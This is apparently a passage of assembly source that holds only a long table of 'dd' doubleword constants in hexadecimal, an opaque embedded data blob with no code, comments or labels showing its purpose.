dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 75382028h, 0C0807Ch, 8750800Ah, 0D834017Fh, 24150160h
dd 0CE0D1C91h, 1D9B9851h, 40E00C17h, 7381C810h, 4C030385h
dd 1F6D6120h, 64223886h, 0C030405Bh, 17948F06h, 82166F80h
dd 337E62F3h, 80E357F2h, 0DEA8E638h, 1F01915h, 9CB5368Ch
dd 0FD138111h, 234CB8DDh, 0DC610C14h, 66E64B8Dh, 5C9B0808h
dd 4104C8F3h, 4CA5640h, 8632C86h, 89587C03h, 425C96A5h
dd 94058716h, 84A3350h, 0E4C790A5h, 0E8EA6B6Dh, 0C6709BE6h
dd 0AE035B69h, 28946DCh, 48D6E245h, 0D7364D04h, 42750626h
dd 90038916h, 6D4650C9h, 0E850A851h, 0A2590A1h, 425D06D9h
dd 0E3A288D6h, 0A59B59B5h, 0E9AA6672h, 0D015F8A6h, 0A4016F48h
dd 1500C111h, 24CE01D8h, 0CA36D819h, 2AC0C04h, 1FE28D9h
dd 2AD9029Ch, 0C436400Ch, 10180304h, 0C632AC82h, 9005C081h
dd 884151D1h, 0E6B6E471h, 16400332h, 82C0AF80h, 13AE0693h
dd 83A32B14h, 0AD1B0EC1h, 3030496Dh, 4C9F0700h, 0D76FA0DBh
dd 68E0B24h, 49B6D4A3h, 0DB9AE4B3h, 0D4C5016Ch, 0B904CCB6h
dd 382C4B09h, 8B2034D4h, 35013BBh, 0EEB9ADCEh, 97BFECAAh
dd 8DE2FB7Ah, 6CABCECFh, 30041119h, 0D5B61A40h, 0EF642F7Bh
dd 0B5EF2BEAh, 0ECEB32CAh, 0E0180100h, 43002501h, 32C53056h
dd 0C330AC22h, 6AFAB5B6h, 0BAD6B3ACh, 0F2BAAE2Fh, 21AFECBAh
dd 0C770BC27h, 333C8801h, 0B0C7564h, 72981441h, 4E7EB3EAh
dd 36867028h, 0C6701AC6h, 0D02C7632h, 42E505E2h, 210B0476h
dd 0D1901B8h, 0D900DC08h, 13802119h, 0B8DAB704h, 0CA0782C2h
dd 244C009Ah, 40A228E0h, 0C204CB1Dh, 0ADB821C0h, 610508A9h
dd 1CCE0D8Fh, 0B481D80Ah, 6C748602h, 6ADAFE36h, 194E0DB3h
dd 0CC825012h, 0DC741511h, 837028DBh, 90BB4093h, 64007301h
dd 38E6D78Bh, 532C0364h, 0E006315Bh, 6BDA77B6h, 0F42C383h
dd 82C16DB5h, 0D7B5CD6h, 0CF868CB6h, 748D6358h, 0DE076DDBh
dd 6DD06ECAh, 0F6D6E21Ah, 6FA3E879h, 64DC77DEh, 124C5CCFh
dd 590EA2F0h, 2DE777EBh, 0DF17ECA3h, 55D4F516h, 0D6F59D5Fh
dd 35FD749Fh, 2ECFC7EFh, 0D3C8EAEEh, 0C23D90Eh, 1871DD8h
dd 0BE2CFF3Dh, 0B018577Dh, 0D84E09C0h, 27B2A9F1h, 3802315Eh
dd 1F8C447h, 0C0371Fh, 43800499h, 0E00E42D6h, 0E5C9B03Ch
dd 24D65005h, 2B82136Ah, 590C66D4h, 806D9363h, 9FC0751h
dd 0D81A36B0h, 0D03E8902h, 301E02B1h, 96901E81h, 0E07C26Dh
dd 7281281Ah, 368C8344h, 10803466h, 90846382h, 0E6FAC0B9h
dd 420B26B6h, 0D8E08106h, 93900444h, 0FF98E01h, 91BB0080h
dd 990602EAh, 59504E08h, 5C322DFEh, 9908670Ch, 85C3821Ah
dd 8CA180E0h, 48ACA806h, 1282106Dh, 2815CC84h, 0A20A328h
dd 0BBF536AFh, 0B1C0FE5Fh, 0FFDFEBFh, 0E008C532h, 0C5652F12h
dd 8791021Dh, 64203026h, 0F1C1C09Ch, 0CB3E31B9h, 5415C438h
dd 44008090h, 82AE0031h, 54F02C8Ch, 4C400B0Bh, 3B0D401h
dd 47E11AD8h, 1C02280Ah, 3154881Ch, 180750ECh, 9675404Ch
dd 6A2EDC83h, 0B4048BB3h, 400341CDh, 70E60780h, 0A38248A9h
dd 87030F00h, 0B1D0102Ch, 32124C04h, 20C8495h, 0DF44F94Eh
dd 21042294h, 0B487401Ch, 0D6592E21h, 29909686h, 71460783h
dd 0A064438Dh, 2531B576h, 8E092D25h, 1223811Eh, 22C702CDh
dd 1CC8F91Bh, 0B57572B6h, 466D6501h, 0AE4F2CA9h, 94C898C9h
dd 59AB30E4h, 607C151Bh, 0E1E25908h, 4D494327h, 36F35919h
dd 21070482h
dd 444861C1h, 8E91922Ah, 79276484h, 8273BAB8h, 0FEB50183h
dd 0DA2B8DA8h, 0C27EC6F8h, 83718A7h, 884C005Eh, 608C704Bh
dd 1107480h, 0CA417638h, 6EE8015h, 1C6D02Ah, 430E0180h
dd 2702A020h, 0CC244218h, 51073948h, 0DAA0814Bh, 57AF4120h
dd 94798C1Bh, 67142684h, 8231966Eh, 146427Ch, 3126538Ch
dd 62397A61h, 501E87Ah, 3221C0E0h, 7A931B77h, 43EF51B4h
dd 8A2C88C1h, 519A8D51h, 0D4BB3487h, 9B875348h, 44750428h
dd 8DE8FD3Eh, 582318Ah, 57638C64h, 492DE81Ch, 3685D2AAh
dd 9D11A1F4h, 9A2F4568h, 95328DD1h, 69452A9Eh, 4FC1AE6Dh
dd 3D95BA7Fh, 4B9EB8BBh, 420AE1C1h, 28514DCDh, 36046350h
dd 8D5900C1h, 8910102h, 0B518051Eh, 0A3828E50h, 4DD4AC01h
dd 80846ECFh, 71E2BA50h, 6E6C4457h, 2158900Ch, 2A1B46DAh
dd 76642260h, 6C519B59h, 34DB360h, 249D6787h, 1648DC01h
dd 0C53B8E37h, 5833212Ah, 5DD51E4Ah, 51FEAD1Ch, 5909F563h
dd 0B526DEA4h, 656C3DABh, 23DA2B2Dh, 0B38AE9F0h, 0CF63CC85h
dd 0F6BD9B6Ah, 1580B455h, 6177612Ch, 9342DB58h, 6C700987h
dd 5D4ADF5Bh, 6C8024F0h, 5C4C0Bh, 142880C6h, 8701F088h
dd 4CA04018h, 42CF8270h, 38220306h, 593CE501h, 0E09AC306h
dd 44A1B50Bh, 58AA40E1h, 8D407CDBh, 8D5D3A1Eh, 0F9DF1BDEh
dd 0F4416072h, 4C2B8DBDh, 4C842B0h, 0F990BB81h, 8C0C0C82h
dd 18287060h, 6D082132h, 1B77DE0Eh, 0BE4642FEh, 98139B5h
dd 0F6525048h, 0B15256BEh, 497DCDADh, 0DE56DFA4h, 861CC346h
dd 81C1858Ch, 0C6DE2BE1h, 0B11D1C1Bh, 55DC4B14h, 0BCD79070h
dd 7AAF40E0h, 0DAB951C1h, 0C2B897B4h, 46C02E7Bh, 4D145F00h
dd 0A648BAB7h, 101C124Eh, 0A35C5285h, 1188D18h, 80A5941Dh
dd 0E832C40h, 6416E80Eh, 6480D060h, 4400210Eh, 46007032h
dd 0EC1601C4h, 40631802h, 1F61FE80h, 2C3980B1h, 88171263h
dd 658D89A2h, 80283E1Bh, 404B480Fh, 89700EA4h, 0CDD9B134h
dd 19628E70h, 640A302Ah, 7CBE6138h, 0E6D934Eh, 0DB2D0171h
dd 381716A6h, 210C3504h, 5A434501h, 0F45694D2h, 8A70462Ah
dd 221CC62h, 9FCDBC87h, 0DAE71CDFh, 0A6002218h, 0CF994C82h
dd 2E33669Ch, 0C8971BCCh, 7D128CC0h, 0D9E33B45h, 0B2067A0Eh
dd 9B5D51A9h, 70DA0751h, 45024814h, 3BEB57B5h, 0B65239E7h
dd 0C397CDB5h, 0AB31B5ACh, 5668CCDAh, 0CC439033h, 0C03C4A43h
dd 723E76CAh, 9CADB792h, 1407C39h, 7C03803h, 1CA326FCh
dd 0D8038B68h, 227CC85h, 18C860B0h, 5D730062h, 57D60045h
dd 200C0F0Ah, 0EC3071A7h, 80E586DCh, 6DB9CD13h, 0B40339B7h
dd 36066A4h, 0FC0E7188h, 0C01077F6h, 19AD59CDh, 380E36FCh
dd 0CE8D69h, 19C80722h, 0D0D7141Ch, 8080AFC5h, 0D4207802h
dd 86B841B8h, 0E0DFCFEh, 0DEB0980Fh, 0BE40E6F7h, 0BB4601h
dd 0EE56048h, 48DE00Fh, 0BB82221Eh, 0B72652D8h, 0ADFBC88Dh
dd 0A0704BD2h, 1C332300h, 0F36027CDh, 0DE1A9B64h, 0BD3791B5h
dd 0E6EF8DEDh, 0B5AD333Eh, 1E8643E1h, 729E04A0h, 0C1ECEAFBh
dd 8B35BAD4h, 9D7BAEF5h, 0EF98A53Ah, 1E2EC7D7h, 723154Bh
dd 0DABB25DEh, 51B7ED7h, 0DA176124h, 980704D8h, 2BBAF6CDh
dd 453952C7h, 0FEF7DD86h, 0C07043F5h, 40A00300h, 0F84EF814h
dd 0F0FE1BC2h, 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 0EBE4BC8Fh
dd 64AF15E3h, 0CF98F2E7h, 0CF37E6BCh, 0FE7BCEF9h, 0BD0FA0F3h
dd 0FA4F47E8h, 0F2A763D2h, 59CAF1D5h, 0D6FAC280h, 0B0F5FEBBh
dd 67ECBD8Fh, 0DBDAFB4Fh, 0CFB8F6FEh, 0CF77EEBDh, 0FEFBDEFBh
dd 0BE0FC0F7h, 943F65F0h, 1BC744AEh, 320818D7h, 0E6FCCF96h
dd 0D0F9FF3Bh, 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh
dd 7BEEFDCFh, 0FE0FBFFh, 4FC7F8BFh, 0FF9BF2FEh, 0FEC7E8FCh
dd 21D1AE40h, 196578E3h, 3E47E0FCh, 0FA8F71F2h, 0F8FEFFDBh
dd 0F7FEBFCFh, 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h
dd 98088078h, 80B80A80h, 0E80D80Ch, 181080F8h, 80081281h
dd 0CB7F17F3h, 81C97C60h, 0F97F07Ch, 0F20F50F5h, 182081F0h
dd 82382282h, 26825824h, 98288278h, 82B82A82h, 2E82D82Ch
dd 183082F8h, 83383283h, 36835834h, 98388378h, 83B83A83h
dd 1D82A83Ch, 0B0FC0F98h, 1CA7EC0Ch, 1C1080DEh, 90F10F28h
dd 84B84A84h, 4E84D84Ch, 185084F8h, 85385285h, 56855854h
dd 98588578h, 85B85A85h, 5E85D85Ch, 186085F8h, 86386286h
dd 66865864h, 50F28568h, 1090F90Fh, 0DA1C47EDh, 0C0C80D40h
dd 83D0F181h, 76875874h, 98788778h, 87B87A87h, 7E87D87Ch
dd 182E87F8h, 0C886A0Fh, 6E5290D4h, 0C8FE0CB8h, 8480F70h
dd 88D88C88h, 9088F88Eh, 38928918h, 82D89489h, 0C80F7873h
dd 0A1CA8170h, 88A8880Dh, 0A0895873h, 38A28A18h, 8A58A48Ah
dd 9787D8A6h, 18868998h, 88989C1Ch, 0B08A788Bh, 38B28B18h
dd 8B58B48Bh, 9A8A988Eh, 0E8AD1C98h, 8BD8B689h, 0C08BF8BEh
dd 88C28C18h, 1C08AB8Bh, 0C28AF8BBh, 0B8CA8C98h, 8CD8CC8Ch
dd 9B8C4879h, 0E8C889D8h, 8D58D48Ch, 0D88D78D6h, 989888B8h
dd 8C71C68Bh, 0E08D989Fh, 38E28E18h, 8D08A38Eh, 0DF8D28BAh
dd 0B8EA8E48h, 8ED8EC8Eh, 0DD8E6874h, 38EE8E88h, 8F58F48Fh
dd 0F08288F6h, 78DE1C58h, 8FD8FC8Fh, 0F98E48FEh, 98AE8878h
dd 9058FF8Eh, 0BF907906h, 28AC9018h, 90D9088Fh, 0A490F90Eh
dd 0C8C690A8h, 91591090h, 7E917916h, 0B1BF9128h, 91D9188Fh
dd 3991F91Eh, 0C1BE91A8h, 92592091h, 0F8927926h, 58DB0F28h
dd 91491B8Ch, 3092F928h, 2292FE59h, 19241BD9h, 93793693h
dd 0BA933910h, 0D9389351h, 8FD93E93h, 3C1B993Ah, 594493F9h
dd 9418EB94h, 469431B8h, 694C94B9h, 1B79488Dh, 5294D94Ah
dd 0F8C19539h, 92E59794h, 0E71282Ah, 40010F22h, 87C95D82h
dd 0D83A95Fh, 495B95E2h, 88095A89h, 6982151Eh, 0F96B8209h
dd 96A96D81h, 7B96382Ch, 48289618h, 9768F397h, 6395A827h
dd 68769789h, 9584B795h, 7C97682Dh, 49838C09h, 88C98397h
dd 23987978h, 0C82698A8h, 96E98697h, 9195C970h, 0C83198F9h
dd 98A83D98h, 998EB996h, 0B82298B9h, 97E83899h, 71980422h
dd 0E8CD99D9h, 89299C98h, 2F9A3989h, 96C9A68h, 9929AD99h
dd 309949AFh, 883999E8h, 9B48FF99h, 0CF9B99AFh, 18AA92A8h
dd 8329038Dh, 7295C982h, 39C29B09h, 9B09BA9Ch, 7295D96Dh
dd 596C9C99h, 9CE99296h, 6F96599Dh, 299C9C49h, 9919D19Dh
dd 0CB9CC9AEh, 0C79D09FEh, 0E9C29C89h, 9E19D296h, 0D396B9C6h
dd 0F9D49A49h, 9B299495h, 0E49E59B9h, 99CA9CE9h, 9939D698h
dd 909AE9EEh, 0A9619699h, 9AD9C69Dh, 0DF9B19F3h, 9869EF9h
dd 0A0196F9Dh, 0C39CD9DCh, 69FA9FE9h, 9A498D9Eh, 34A03A00h
dd 24279A08h, 98282B9Ah, 0D89D99F7h, 29F59F49h, 9E89BA9Fh
dd 139E8A16h, 0B9DEA08Ah, 0A05A0398h, 179DF9D4h, 0D9D9A25Ah
dd 0A29A16A1h, 1FA289C8h, 0AA1B9E7Ah, 9E99A7A2h, 14A15993h
dd 0CA2C9DDAh, 97095EA1h, 2EA329C1h, 1A1A9C4Ah, 9E0A2C9Bh
dd 0CDA409FCh, 7A35A439h, 0A23A2DA4h, 0CFA22A3Dh, 0AA39A1E9h
dd 9EAA1D96h, 51A0E835h, 0FA1E9599h, 0A5198CA3h, 499DDA33h
dd 0CA2AA3FAh, 0A4C98DA3h, 49A58A47h, 0A3DA46Ah, 0A19527A5h
dd 4FA4BA5Bh, 0CA2FA09Ah, 9E6A42A6h, 4AA6AA59h, 5A41A6FAh
dd 0A5EA60A3h, 489A7A5Dh
dd 5A60A7AAh, 975A76A6h, 0FEA1FA6Bh, 81A7CA77h, 4832A5CAh
dd 0A56A10A5h, 0F9A5EA15h, 4A1C9D89h, 0A839D79Eh, 7AA86A7Eh
dd 4A87979Ah, 9F1A5DA8h, 6E9EC9E0h, 712A99Ah, 0A99A73A3h
dd 7C97BA3Eh, 39EBA8FAh, 0A9CA68A8h, 0A09CB9FFh, 69A9AA4Ah
dd 0AB2A95A6h, 5AABA45h, 4A7F987Ah, 0A4EA30A6h, 9FA699E9h
dd 0A8DC9BC9h, 829A8B8Fh, 24A669C1h, 0EA5C9D5Ah, 0AB4A5A98h
dd 31ABBA57h, 1A3EA90Ah, 0AB3A28ADh, 6BA96A9Fh, 0DA4E9ACAh
dd 0AD9ACCACh, 7FA6DA12h, 9A07A34Ah, 0AD1A7BAAh, 94A5FA70h
dd 3A7DA6FAh, 0AB5A75A9h, 0EBA79ADAh, 1AAAABCAh, 92CAC092h
dd 82AC3923h, 9AA2A8DAh, 0AB8A85A3h, 74A67AE9h, 0AADBAD8Ah
dd 0A4DAE19Ch, 0CEAEFAE5h, 0DA8E9EAAh, 9C7AE0A6h, 0C9AE8AB9h
dd 0BAF1AA7Ah, 0A87B02ABh, 0B1B05AEEh, 0EB08AFDAh, 0B0AAC6B0h
dd 139F4AB0h, 0FAFFAF7Bh, 9BEAF38Eh, 0ED9958BCh, 0DA74B1AAh
dd 0AE7A78AFh, 0A2FE0B27h, 0FEAD3A90h, 9AAEA62Ah, 0B31A88B2h
dd 85B2CB1Eh, 0FB16AD69h, 0B21A36ACh, 71B19B0Ah, 0BB09A8EAh
dd 0B42AEAB3h, 18ACBA1Bh, 5AF8B2CBh, 0A98B1FAEh, 0DA52B4Bh
dd 0F8E7B23Ah, 0B4FB269Bh, 0ABAFCA04h, 59FBB0CAh, 964A379Ch
dd 0E3A20A62h, 0DAF09C59h, 0A23AA6A8h, 12AEF9E5h, 0DA91AB7Ah
dd 9F99F7AAh, 6CA9DAA1h, 0CAA7B59Bh, 0B07B71A0h, 2DB699DCh
dd 5A9195BAh, 9A9B5FAAh, 8FB13A0Bh, 0B75B7F9h, 0B60B72B7h
dd 25B36B5Dh, 0CB1EAC58h, 0A8A833A0h, 58926B54h, 88C9954Bh
dd 895B359Bh, 8E87FB94h, 5B90B25Bh, 984B92ADh, 978A6B55h
dd 1B52919Bh, 925B8F8Fh, 0CAB9DACAh, 0DBA1BA18h, 8A0AA887h
dd 0A88D3B99h, 1BB2BB1Bh, 0AC2BA391h, 0B8BB3BA5h, 0F891BB9Bh
dd 0BBA904BAh, 7CBBFBBEh, 3BC0BBC8h, 878BC4BCh, 0A78B2BC2h
dd 0E9B3968Bh, 0BCCB9CACh, 18B0FAD9h, 0D9D19679h, 988981BAh
dd 0BC78FEEAh, 0D5B178B1h, 0BAB88DBh, 0B1CB20B0h, 178F4BABh
dd 0FA86B61Bh, 99E833BDh, 0B19C0A85h, 0A8B0BD88h, 0BD69AABDh
dd 89B0BB9Fh, 2BE1B20Bh, 0ADCB10BEh, 0E8834BEFh, 0B9ABB95Bh
dd 902BB5BEh, 0DB9A3B9Ah, 29E2A229h, 9CCAC5B7h, 84B82C06h
dd 8C03A32Bh, 0B62B67ADh, 0F39E3B42h, 0DA02B5B9h, 0B57ADEB4h
dd 39F5B34h, 0AADCC06Ch, 0C1AC18C0h, 21B6BBEEh, 5B3CB6EBh
dd 0C0E9E297h, 5CB84C1Eh, 6B59C2ABh, 0C2CC1AA0h, 0FC31C2Bh
dd 1BEC88FCh, 0AB7B87A1h, 0F1A3BAB4h, 8AD7C37Ah, 0AD4B28A1h
dd 18ABA9EBh, 6A79ACBBh, 0B0DB1F99h, 4B48B45h, 0EB38B0CBh
dd 0A0AB66C3h, 80BDEB38h, 0DC3FBF3Ah, 0AE0B4CB1h, 56A44B6Dh
dd 5894B87Ch, 0C56A8CC3h, 4AAF9B49h, 0BC3DC5CAh, 0BCEC63ADh
dd 14C46A3Ch, 0B4EB4ABh, 9ACB34C6h, 25C52A77h, 8C61C67Ch
dd 0B5FAB6A4h, 0B3B50C6Dh, 6AE4C6AAh, 0C70C6EAEh, 890BFCFEh
dd 77AC4C5Eh, 9C7BB0ECh, 0C41A9CA1h, 7DB43C15h, 5B2FABEAh
dd 0B86B46ADh, 50ABEB14h, 6C6CB3FBh, 0AA2C1CC8h, 0FEC92B8Ah
dd 9B44B37Ah, 0C84C54B3h, 0D3B05C55h, 0EA21C11Bh, 0C12B70B3h
dd 0A1A71B33h, 0BDFC838h, 0C4BC48B0h, 0A1BE3AE4h, 0CAE3C8CCh
dd 0ADFAA8B9h, 97AE3BE4h, 6C96B28Ah, 0C9EC98C6h, 12B2ECB2h
dd 8A26CC0Bh, 0B1CCA0C4h, 0A4C7AA9Fh, 5C7DAD0Ah, 0AE2C97CBh
dd 0FFCAD9F0h, 0FBB790BBh, 0B40A75C5h, 3BC479B2h, 1A63BD0Ch
dd 0BDABCFCDh, 5BCBCCBDh, 1CD8CB0Ah, 0AE8C6FCBh, 0E6A4FC16h
dd 0DCC7C9DCh, 0C58CCAC4h, 0DFC7EBF7h, 0C79AAFAh, 0BCECF5CEh
dd 6DCAE880h, 7B2AB44Ch, 0AE2CABA6h, 1C8CA63h, 9CEECCCDh
dd 0B41CE4C5h, 99AD7C44h, 9AECCDA9h, 0B03AA5CEh, 5A46B56h
dd 1CA8AFADh, 0CACBF2D0h, 9C19CD9h, 4CC2D03Dh, 0B79CFEC7h
dd 22BF5CB6h, 0B2492BBh, 0FE1CD8BBh, 0D2AB88C3h, 7EB7AA29h
dd 2D2EC30Ch, 0D2DC10B6h, 60C1FB74h, 0ECAAD22Bh, 0B7FC149Dh
dd 3CABCCCFh, 0DB2FCE2Dh, 0C29AB8B4h, 34CEED33h, 6CE3D39Dh
dd 0A68C30B0h, 0AAB8BD4Bh, 2A2BAADCh, 0CBAD37C2h, 30A9DD3Fh
dd 5CFC892Dh, 0D248CEBCh, 0BBD5ABE7h, 7913CD5Bh, 8D4D5ECDh
dd 63BEAD5Ch, 0DD608B7Dh, 0D67D6292h, 0B3D65BA9h, 9D6CD6E9h
dd 0AF5D69A8h, 76D71D6Bh, 981FD77Dh, 0D7BD78D5h, 7CD7AD5Eh
dd 0EBC0D7FDh, 0D83D80D7h, 84D82BB8h, 6B9DD87Dh, 0D8BD88D8h
dd 8CD8A94Dh, 0E944D8FDh, 0D93D90D8h, 94D92937h, 6928D97Dh
dd 0D9BD98D9h, 9CD9A91Fh, 0E916D9FDh, 0DA3DA0D9h, 0A4DA290Dh
dd 68FFDA7Dh, 0DABDA8DAh, 0ACDAA8F6h, 0E8EDDAFDh, 0DB3DB0DAh
dd 0B4DB28E3h, 68D8DB7Dh, 0DBBDB8DBh, 0BCDBA8CEh, 0E8C9DBFDh
dd 0DC3DC0DBh, 0C4DC28BEh, 68B3DC7Dh, 0DCBDC8DCh, 0CCDCA8A6h
dd 6CD4DCFDh, 1BFE53D2h, 0DD5DD0C0h, 0D6DCE8CCh, 2D68DD9Dh
dd 0DD4BA4DDh, 0BDDDFDDAh, 3DE0DD88h, 0DE287ADEh, 75DE7DE4h
dd 0BDE8DE68h, 0DEA83ADEh, 53DEFDECh, 6934D73Ah, 0DF5DF0AFh
dd 3BDF2CFBh, 0BDF6DF49h, 0DEE87BDFh, 29DFFDFCh, 0EBB6DDC9h
dd 0E05E00DDh, 0E029BBh, 0BE06D28Ch, 0DF8DE9E0h, 0CDFA942h
dd 8B51E11Eh, 0E04CD6E0h, 36E17E12h, 0FE18DFE8h, 0E1BE1ADFh
dd 1EE1DDFBh, 2D96DF5Eh, 8A0D4ABDh, 71BE6D70h, 0FE27B589h
dd 0CB9835BCh, 6FBDCB8Ch, 5C8B87EBh, 91ED2CB8h, 0A7C73E23h
dd 7A08E2B8h, 0E3AAA3B9h, 25CC9875h, 0DBE5BACEh, 0CA8BF9CFh
dd 0FD20D1Dh, 3A72E379h, 0D02E3E8Bh, 4DA6EBDBh, 1CCA997Eh
dd 0E2CBCBE5h, 2DCA2CF1h, 0EE48C75Bh, 0D0CE4A90h, 67E34D4Fh
dd 0DA6CC2EBh, 0E5F9FAC0h, 2BE35D36h, 6E68E62Ch, 0B63CE59Fh
dd 6DC2C9F8h, 0DBADC04Bh, 0BF3C249Eh, 4BAC7C89h, 8D52C13Ah
dd 29CFFEBFh, 0B75E74D5h, 40E47C33h, 4D35C32Ch, 0D56C20E6h
dd 2FC07C1Fh, 3E5D88DEh, 0CD1CC8A4h, 0FFABDA4Ch, 0DC87C4AAh
dd 0E83CACB3h, 2DC42CCFh, 2B3EE79Dh, 0C53D2FE9h, 0DDA139ECh
dd 7E9ECEFAh, 0C3CA31D0h, 8FCA2C5Bh, 7D07E96Eh, 0A7BD08C3h
dd 0A2C81C3Ah, 6D61E14Bh, 0E31979E1h, 0F2EA0E98h, 0DC95ACCCh
dd 0D2FC62EBh, 9AD1FCE8h, 0AEC1C9EEh, 0D4AD40E5h, 14B79B5Bh
dd 0C40CE3Ah, 0D0EC8E9Fh, 46C68CCDh, 0FCCEC91Eh, 0E95CE8E9h
dd 0ED58CB7h, 9E10949Eh, 0E66B6BD1h, 8FB5CE78h, 7EBFEABAh
dd 0B699EE9Eh, 8EA76CA7h, 3EC3E4ECh, 0AEAC94CBh, 9BB3AEC6h
dd 0EA64ED89h, 0E31C89A7h, 0E2ED0B35h, 0ABF4ECCEh, 0ED5D31B4h
dd 0FAB6FE48h, 5EFBECAEh, 0E4BE8D89h, 0FCA50C17h, 2D1BEE4Bh
dd 0EC8EA3D0h, 2BF09E46h, 0CEE5AC8Bh, 0F01ED8AEh, 0DCB2ACFAh
dd 9CD2EA2Ch, 0D13B07D1h, 88E56F0Dh, 0BE3BEBEBh, 1EE5EBFEh
dd 8E5CDCCBh, 0DD950EDBh, 0CF27EF9Eh, 0C6ECAFCEh, 0F7F30ED3h
dd 0EF25B1BCh, 0F15D16E8h, 0F9CC6E6Dh, 2CDBAB1Ch, 0EC5AE1ADh
dd 72EFAE56h, 0CEA9B91Ch, 0F2FD06EAh, 6D3DB01h, 5957F2BFh
dd 0EBCBCDD7h, 91EC5AB5h, 2F20F53Eh, 0E99F32D2h, 53D11CA3h
dd 4D13F23Ch, 0CBBB11F5h, 0D3B31B32h, 0E43ECDAh, 0C76EA8D1h
dd 0F3E82EACh, 6C66F18Ch, 0C34D1CF6h, 5097FF4Eh, 8B73CA1Fh
dd 0E61E67D4h, 97D56D32h, 0CD4EC08Ah, 0D4CB83B7h, 4D35CDBh
dd 9BE0A9AAh, 0E71D2AECh, 43D36C64h, 3B77B61Dh, 0D47F7CB6h
dd 85F92C72h, 0E9C9D2CFh, 0D44ECFB6h, 3EE86E61h, 0BD41B7DDh
dd 0C82E68C9h, 759A1F73h, 6D9CE26Fh, 0E20E18F4h, 0B8E54837h
dd 0AE17FA8Bh, 0FAC836FAh, 21BC9BB3h, 0BE21FB0Eh, 0FB7FB6DEh
dd 0BAFB9DE7h, 0DFBCDE3Fh, 0F07DDFFBh, 0EBCCBF19h, 0EB2F51Ch
dd 0DB6D71FCh, 11BEEB94h
dd 0FE2DF6DAh, 0ABB1FC8Eh, 0F22BFDFCh, 0F1BE9BCDh, 0D953FD0Bh
dd 9F8EFFE5h, 479FEC22h, 0BC2DD55Ch, 0D309EFF7h, 0D8D4DC27h
dd 8E4A938Fh, 0B43EA5D0h, 73B8BE94h, 1C9FC5ABh, 931FE7F7h
dd 0DFCF0FE9h, 3E90CB3Ch, 0FD6BD0F3h, 0A3D95FF3h, 8100A0FFh
dd 78BC9EECh, 441E0CF2h, 60F098h, 36170C83h, 6231100Ch
dd 1D0E8443h, 10F8B3CAh, 1889C4A3h, 78BC2A2Bh, 8848E3D1h
dd 0A44A2B1Ch, 42A450B8h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch
dd 5399C4DEh, 3D9E4EE7h, 0EA04FE7Dh, 643DE0B3h, 4381B4CBh
dd 0D2E9549Ah, 996DAA4h, 0A3337824h, 532995C6h, 353AB486h
dd 58AAC8A1h, 0E9647EA9h, 0A0D56BB5h, 459ECD65h, 5AED569Bh
dd 0EADD6DB6h, 28F45A1Ch, 9D4ABA53h, 53682D42h, 5CB248EBh
dd 925FEB3h, 0C0C6AAD6h, 2582FB7Bh, 62EDF81Bh, 3F1D8DC6h
dd 72191C86h, 2D75A35Ch, 303BBB83h, 1DAD4D6Fh, 6FE16FDh
dd 4AB1162Ch, 0AF98490h, 0F0110D3Eh, 5DADC960h, 5B1D86BFh
dd 73CA5AF6h, 1CCD332Fh, 864AAF55h, 0B60E5121h, 6F33B138h
dd 1A41C2AEh, 63B27AFFh, 7F9EBE49h, 5D1D9EB3h, 0D5EA74FAh
dd 4DBED719h, 0EB66F737h, 77FBDDDh, 78FC5E1Fh, 6E97D9ECh
dd 0FD5E9F1Fh, 0DDEDF67Ah, 0B44795C3h, 4FBB79B2h, 9FC7BF35h
dd 0FE7EFF5Fh, 47D3CBB1h, 6FEBD0Ah, 340B024h, 3FE9A40Fh
dd 0B0440500h, 841F0741h, 0E9053D50h, 0B423063h, 4330C42Fh
dd 0AF3426C7h, 43F0D42h, 6D114431h, 0F3B30E2h, 45314447h
dd 0F12C3515h, 845713B6h, 0F9194631h, 17B2F16Bh, 4731C467h
dd 0D1ABBD1Dh, 4771BB2h, 27214832h, 2E4F8Bh, 0B74FB29Bh
dd 0B2649721h, 9C8ADA49h, 9D1FC8EFh, 2B4AB2A4h, 0AEB1EA63h
dd 0B2E4AF29h, 0D4B32ACBh, 0BCEE492Eh, 26CCB324h, 4C4DC4C1h
dd 3364D733h, 53CF3448h, 0E7394DB3h, 0CDF1FE5Ch, 33A2F0FAh
dd 0B43F3D4Fh, 0F73C4913h, 6D03404h, 4E300CFBh, 54450F41h
dd 3331423Fh, 1F475134h, 0DB4A0F25h, 52146C16h, 6E9D2F4Bh
dd 0E5312DD1h, 24EBD3B4h, 3FD0B23Dh, 0D4B5253Dh, 949BE54Fh
dd 654D4AC2h, 34B2D5B5h, 5955D55Dh, 0D609C567h, 35C56951h
dd 0BD6C9957h, 7F5F574Fh, 25578855h, 57562581h, 2D6CC761h
dd 6597651Eh, 9F6759B6h, 695A3685h, 5AB6A5A7h, 36C5AF6Bh
dd 5DB76D5Bh, 0BF6E4136h, 715C3705h, 5CB725C7h, 35053366h
dd 33AF4DD4h, 0DF775DB7h, 68DE3785h, 5EB795BDh, 77C5EF7Bh
dd 0D51745Ah, 235BD195h, 7F9F8BCBh, 60B82606h, 38460F83h
dd 66178561h, 1F8761B8h, 89623886h, 9F98A627h, 0D60D867Ah
dd 0E6378A20h, 3F8F63B8h, 86E43906h, 0B5D6462Fh, 0A7AB6163h
dd 719E719Eh, 5E67E5A6h, 98663986h, 668679A1h, 0F9C66B9Bh
dd 0E6739D66h, 7B9F6779h, 67FA06FEh, 7A2683A1h, 468BA368h
dd 65A3E8FAh, 6AE65A66h, 62E7C1C6h, 67B9EA98h, 0B98C649Bh
dd 0B7AD193Ah, 0ADEBBAE6h, 6C3B018Dh, 0BB26C7B1h, 46CFB36Ch
dd 0BBB56BDBh, 0B76DBB46h, 0EDFB86DFh, 3ACEE7B5h, 0B1C26719h
dd 5D93BA58h, 7B9F07BBh, 88260EEh, 0BC2707C1h, 38782270h
dd 17C4713Ch, 0C671BC57h, 723C771Fh, 0BC9727C8h, 0B72FCA72h
dd 37CC733Ch, 0C373BCD7h, 899C1F3Fh, 27C1F03Bh, 274A981Fh
dd 56188663h, 0D775BD67h, 763D875Fh, 0BDA767D9h, 0C76FDB76h
